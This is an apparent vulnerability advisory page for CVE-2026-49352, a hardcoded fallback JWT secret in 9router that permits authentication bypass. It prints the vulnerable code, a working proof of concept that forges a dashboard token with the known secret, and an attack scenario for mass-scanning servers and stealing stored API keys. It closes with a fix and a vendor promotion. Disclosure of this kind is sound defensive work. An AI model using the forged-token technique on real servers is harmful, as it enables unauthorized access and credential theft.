🛡️ CVE-2026-49352 — 9router

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-798 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

| Versions | File | Note |

|---|---|---|

| >= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |

| >= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |

Vulnerable Code

v0.2.21 – v0.4.30src/app/api/auth/login/route.js and src/middleware.js:

```js

const SECRET = new TextEncoder().encode(

process.env.JWT_SECRET || "9router-default-secret-change-me"

);

```

v0.4.31 – v0.4.41 (current)src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

```js

const SECRET = new TextEncoder().encode(

process.env.JWT_SECRET || "9router-default-secret-change-me"

);

```

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

```js

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })

.setProtectedHeader({ alg: "HS256" })

.setIssuedAt()

.setExpirationTime("36y")

.sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

```

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

```js

const jwtSecret = process.env.JWT_SECRET;

if (!jwtSecret) {

throw new Error(

"JWT_SECRET environment variable is not set. " +

"Generate one with: openssl rand -hex 32"

);

}

const SECRET = new TextEncoder().encode(jwtSecret);

```

Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-49352 is classified as CWE-798: Use of Hard-coded Credentials. Credentials are built into the product, so they are identical on every installation and cannot be rotated.

Affected software

CVE-2026-49352 is recorded against 2 packages.

  • 9router
  • unknown

Timeline and source

Published on 2 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-798
Public Exploit ✅ No
Source NVD
Published 2026-07-02
Updated 2026-08-12
Modified 2026-07-02
Fix URL N/A

Affected Packages

Software From version Fixed in
9router
unknown

Similar Threats

Exploit Protection

Are you running 9router?

CVE-2026-49352 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-49352 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.